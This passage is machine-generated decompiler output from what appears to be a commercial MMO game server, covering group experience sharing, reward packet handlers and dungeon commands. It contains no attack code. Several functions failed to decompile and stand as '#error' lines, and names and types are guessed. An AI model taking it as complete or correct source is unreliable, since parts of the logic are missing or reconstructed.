GroupExpDistribute::NearFriendInformationSummary::nfis_TopLevelFind(GroupExpDistribute::NearFriendInformationSummary *this) { GroupExpDistribute::NearFriendInformation *v1; // esi@1 int v2; // ebx@1 int i; // edi@1 int v4; // eax@3 this->nfis_MaxLevel = 0; v1 = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; v2 = 0; for ( i = 0; ; ++i ) { v4 = v1 ? GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast - v1 : 0; if ( v2 >= v4 ) break; if ( this->nfis_MaxLevel < v1[i].nfi_Level ) { this->nfis_MaxLevel = v1[i].nfi_Level; v1 = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; } ++v2; } } //----- (00472220) -------------------------------------------------------- int __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_BonusCheck(GroupExpDistribute::NearFriendInformationSummary *this) { int result; // eax@1 GroupExpDistribute::NearFriendInformation *i; // edx@1 int v3; // edi@2 int v4; // esi@2 result = 0; this->nfis_SummaryOfLevelScore_All = 0; this->nfis_SummaryOfLevelScore_Valid = 0; for ( i = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; i != GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast; ++i ) { v3 = this->nfis_MaxLevel; this->nfis_SummaryOfLevelScore_All += (i->nfi_Level + 5) * (i->nfi_Level + 5); v4 = i->nfi_Level; if ( v3 - v4 > 20 ) { i->nfi_CanBonus = 0; } else { i->nfi_CanBonus = 1; this->nfis_SummaryOfLevelScore_Valid += v4 * v4; ++result; } } return result; } //----- (00472290) -------------------------------------------------------- unsigned int __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpLimitCut(GroupExpDistribute::NearFriendInformationSummary *this) { GroupExpDistribute::NearFriendInformation *v1; // edx@1 unsigned int result; // eax@1 int v3; // esi@2 unsigned int v4; // ecx@2 v1 = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; for ( result = 0; v1 != GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast; ++v1 ) { v3 = g_MaxExpGainAtGroup[v1->nfi_Level]; v4 = v1->nfi_ExpGain; if ( v4 > v3 ) { result += v4 - v3; v1->nfi_ExpGain = v3; } } return result; } // D1D90E0: using guessed type int g_MaxExpGainAtGroup[]; //----- (004722E0) -------------------------------------------------------- void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpBase(GroupExpDistribute::NearFriendInformationSummary *this, unsigned int soloexp) { GroupExpDistribute::NearFriendInformation *i; // esi@1 for ( i = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; i != GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast; ++i ) i->nfi_ExpGain += (unsigned __int64)((double)((i->nfi_Level + 5) * (i->nfi_Level + 5)) / (double)this->nfis_SummaryOfLevelScore_All * (double)soloexp); } //----- (00472350) -------------------------------------------------------- void __thiscall GroupExpDistribute::NearFriendInformationSummary::nfis_ExpBonus(GroupExpDistribute::NearFriendInformationSummary *this, unsigned int bonusexp) { GroupExpDistribute::NearFriendInformation *i; // esi@1 for ( i = GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Myfirst; i != GroupExpDistribute::NearFriendInformationSummary::nfis_FriendInfo._Mylast; ++i ) { if ( i->nfi_CanBonus ) i->nfi_ExpGain += (unsigned __int64)((double)(i->nfi_Level * i->nfi_Level) / (double)this->nfis_SummaryOfLevelScore_Valid * (double)bonusexp); } } //----- (004723C0) -------------------------------------------------------- #error "4723C0: undefined or illegal type '#593' (funcsize=35)" //----- (00472420) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00472490) -------------------------------------------------------- #error "472490: undefined or illegal type '#593' (funcsize=278)" //----- (00472760) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, GroupExpDistribute::NearFriendInformation _Val) { std::vector > *v3; // esi@1 GroupExpDistribute::NearFriendInformation *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 GroupExpDistribute::NearFriendInformation *v7; // edi@10 GroupExpDistribute::NearFriendInformation *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (00472810) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GroupExpDistribute::NearFriendInformation *_Val) { std::vector > *v4; // edi@1 GroupExpDistribute::NearFriendInformation *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00472880) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GroupExpDistribute::NearFriendInformation *_Val) { std::vector > *v2; // esi@1 GroupExpDistribute::NearFriendInformation *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GroupExpDistribute::NearFriendInformation *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (TickTimer *)v2->_Mylast, 1u, (TickTimer *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00472900) -------------------------------------------------------- #error "472900: undefined or illegal type '#593' (funcsize=76)" //----- (004729F0) -------------------------------------------------------- #error "4729F0: undefined or illegal type '#593' (funcsize=88)" //----- (00472B00) -------------------------------------------------------- #error "472B00: undefined or illegal type '#593' (funcsize=191)" //----- (00472D70) -------------------------------------------------------- signed int __cdecl std::basic_streambuf>::underflow() { return -1; } //----- (00472D80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromise_GetUpper(int this) { return *(_DWORD *)(this + 139388); } //----- (00472D90) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00472DB0) -------------------------------------------------------- #error "472DB0: undefined or illegal type '#593' (funcsize=39)" //----- (00472E60) -------------------------------------------------------- #error "472E60: undefined or illegal type '#593' (funcsize=51)" //----- (00472F30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(void *this, int upper) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 34847) = upper; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet"); } //----- (00472F90) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry"); } //----- (00472FE0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess"); } //----- (00473020) -------------------------------------------------------- #error "473020: undefined or illegal type '#593' (funcsize=85)" //----- (00473160) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneListenSession *v2; // edi@1 unsigned int v3; // eax@2 char *v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ZoneListenSession::zls_TravelComplete(v2, (ZONERINGLINKAGESTART *)&netcmd[1]) ) { v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *((_DWORD *)v4 + 1) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *((_DWORD *)v4 + 2) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *((_DWORD *)v4 + 3) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); v4[16] = 0; HolyPromiseCenTransferManager::hpctm_Process(&hpctmanager, (PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *)&netcmd[1]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG"); } //----- (00473240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from) { void *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // eax@1 int v7; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)from; *((_DWORD *)v5 + 1) = *(_DWORD *)(from + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(from + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(from + 12); v5[16] = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); (*(void (__thiscall **)(void *, int, signed int))(*(_DWORD *)v3 + 1940))(v3, cen, 1); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27621; *(_DWORD *)(v6 + 2) = *(_DWORD *)from; *(_DWORD *)(v6 + 6) = *(_DWORD *)(from + 4); *(_DWORD *)(v6 + 10) = *(_DWORD *)(from + 8); *(_DWORD *)(v6 + 14) = *(_DWORD *)(from + 12); *(_DWORD *)(v6 + 18) = cen; *(_DWORD *)(v6 + 22) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom : Packet Too Long", 26); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom"); } //----- (00473390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27586; *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ"); } //----- (00473480) -------------------------------------------------------- #error "473480: undefined or illegal type '#593' (funcsize=40)" //----- (00473540) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27587; *((_WORD *)v3 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v3 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v3 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00473630) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 int v6; // eax@4 char *v7; // esi@5 ZoneBaseSession *v8; // eax@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v5 + 1) = 7272; *((_DWORD *)v5 + 1) = 0; *((_DWORD *)v5 + 2) = 0; if ( (unsigned __int8)(*(int (**)(void))(*((_DWORD *)v4 + 14470) + 20))() ) { *((_WORD *)v5 + 1) = 7276; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ : Packet Too Long", 12); } } else { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27582; *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ : Packet Too Long", 8); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ"); } //----- (00473790) -------------------------------------------------------- #error "473790: undefined or illegal type '#593' (funcsize=40)" //----- (00473850) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck) { void *v2; // esi@1 __int64 v3; // qax@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)(pDBAck + 6) == 7272 ) { LODWORD(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1084))( v2, *(_DWORD *)(pDBAck + 8) + v3, (unsigned __int64)(*(_QWORD *)(pDBAck + 8) + v3) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1092))(v2); } v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27583; *((_WORD *)v4 + 1) = *(_WORD *)(pDBAck + 6); *((_DWORD *)v4 + 1) = *(_DWORD *)(pDBAck + 8); *((_DWORD *)v4 + 2) = *(_DWORD *)(pDBAck + 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward"); } //----- (00473980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer) { void *v2; // edi@1 unsigned int v3; // eax@1 char *v4; // eax@1 int v5; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)(transfer + 15); *((_DWORD *)v4 + 1) = *(_DWORD *)(transfer + 19); *((_DWORD *)v4 + 2) = *(_DWORD *)(transfer + 23); v5 = *(_DWORD *)(transfer + 27); v4[16] = 0; *((_DWORD *)v4 + 3) = v5; if ( !(unsigned __int8)(*(int (**)(void))(*((_DWORD *)v2 + 14470) + 20))() ) ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(v2, *(_DWORD *)(transfer + 11), transfer + 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom"); } //----- (00473A70) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index) { int v2; // edi@1 int v3; // edx@1 FieldOption::GuildTournamentMapStr **v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@3 v2 = this->fc_InstanceDungeon.number; v3 = 0; if ( v2 <= 0 ) { LABEL_10: result = 0; } else { v4 = this->fc_InstanceDungeon.attr; while ( 1 ) { result = (FieldOption::InstanceDungeonInfo *)*v4; if ( *v4 ) { if ( *(_DWORD *)&result->Argument.ort_Name[0] == *(_DWORD *)&Index->ort_Name[0] && *(_DWORD *)&result->Argument.ort_Name[4] == *(_DWORD *)&Index->ort_Name[4] && *(_DWORD *)&result->Argument.ort_Name[8] == *(_DWORD *)&Index->ort_Name[8] && *(_DWORD *)&result->Argument.ort_Name[12] == *(_DWORD *)&Index->ort_Name[12] && *(_DWORD *)&result->Argument.ort_Name[16] == *(_DWORD *)&Index->ort_Name[16] ) break; } ++v3; ++v4; if ( v3 >= v2 ) goto LABEL_10; } } return result; } //----- (00473AD0) -------------------------------------------------------- FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName) { FieldContainer *v2; // ebx@1 int v3; // edi@1 FieldOption::GuildTournamentMapStr *v4; // esi@2 FieldOption::InstanceDungeonInfo *result; // eax@7 char TargetName[4]; // [sp+10h] [bp-10h]@1 int v7; // [sp+14h] [bp-Ch]@3 int v8; // [sp+18h] [bp-8h]@3 unsigned int v9; // [sp+1Ch] [bp-4h]@1 v2 = this; v9 = (unsigned int)TargetName ^ __security_cookie; v3 = 0; if ( this->fc_InstanceDungeon.number <= 0 ) { LABEL_7: result = 0; } else { while ( 1 ) { v4 = v2->fc_InstanceDungeon.attr[v3]; if ( v4 ) { v8 = 0; v7 = 0; *(_DWORD *)TargetName = 0; strncpy(TargetName, (const char *)&v4->StoneDir, 0xCu); if ( *(_DWORD *)TargetName == *(_DWORD *)&pMapName->n3_name[0] ) { if ( v7 == *(_DWORD *)&pMapName->n3_name[4] && v8 == *(_DWORD *)&pMapName->n3_name[8] ) break; } } ++v3; if ( v3 >= v2->fc_InstanceDungeon.number ) goto LABEL_7; } result = (FieldOption::InstanceDungeonInfo *)v4; } return result; } //----- (00473B80) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int8 v3; // al@1 unsigned __int16 v4; // si@5 CParty::PARTY_SLOT *v5; // eax@6 CParty::PARTY_SLOT *v6; // eax@7 v3 = LOBYTE(netcmd[1].protocol); if ( v3 ) { if ( v3 == 3 ) AssertClass::ac_AssertFail( &shineassert, "Not coding for raid yet. - wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD", 3); else AssertClass::ac_AssertFail( &shineassert, "Invalid Dungeon Category - wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD", v3); } else { v4 = *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1); if ( CParty::IsValidPartyNo(&partycontainer, *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1)) ) { v5 = CParty::operator__(&partycontainer, v4); if ( !CParty::PARTY_SLOT::isEmptyParty(v5) ) { PartyManufacture::pm_SetDungeonExpiredInfo( &partymanufacture, v4, LOBYTE(netcmd[1].protocol), (Name3 *)((char *)&netcmd[3].protocol + 1), clockwatch.cw_CurrTick + 3000); v6 = CParty::operator__(&partycontainer, v4); PartyManufacture::pm_BroadcastDungeonMapName(&partymanufacture, v4, &v6->dungeonExpiredInfo._currDungeonMapName); } } } } //----- (00473C40) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_RESET_COUNTDOWN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int8 v3; // al@1 unsigned __int16 v4; // si@5 CParty::PARTY_SLOT *v5; // eax@6 v3 = LOBYTE(netcmd[1].protocol); if ( v3 ) { if ( v3 == 3 ) AssertClass::ac_AssertFail( &shineassert, "Not coding for raid yet. - wms_NC_INSTANCE_DUNGEON_RESET_COUNTDOWN_CMD", 3); else AssertClass::ac_AssertFail( &shineassert, "Invalid Dungeon Category - wms_NC_INSTANCE_DUNGEON_RESET_COUNTDOWN_CMD", v3); } else { v4 = *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1); if ( CParty::IsValidPartyNo(&partycontainer, *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1)) ) { v5 = CParty::operator__(&partycontainer, v4); if ( !CParty::PARTY_SLOT::isEmptyParty(v5) ) CParty::operator__(&partycontainer, v4)->dungeonExpiredInfo._isCountdown = 0; } } } //----- (00473CD0) -------------------------------------------------------- void __thiscall KickPlayer::_KickPlayer(KickPlayer *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)KickPlayer::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 644B08: using guessed type int (__stdcall *KickPlayer___vftable_[2])(int, int, int distancesquar); //----- (00473CE0) -------------------------------------------------------- void __thiscall IsAnybody::_IsAnybody(IsAnybody *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&IsAnybody::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 644B0C: using guessed type int (__stdcall *IsAnybody___vftable_)(int, int, int distancesquar); //----- (00473CF0) -------------------------------------------------------- #error "473CF0: undefined or illegal type '#593' (funcsize=18)" //----- (00473D20) -------------------------------------------------------- int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 signed int v4; // ebp@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); v3 = this + 35; v4 = 33; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); *(_WORD *)(this + 68) = *(_WORD *)(a2 + 68); return result; } //----- (00473D90) -------------------------------------------------------- bool __thiscall 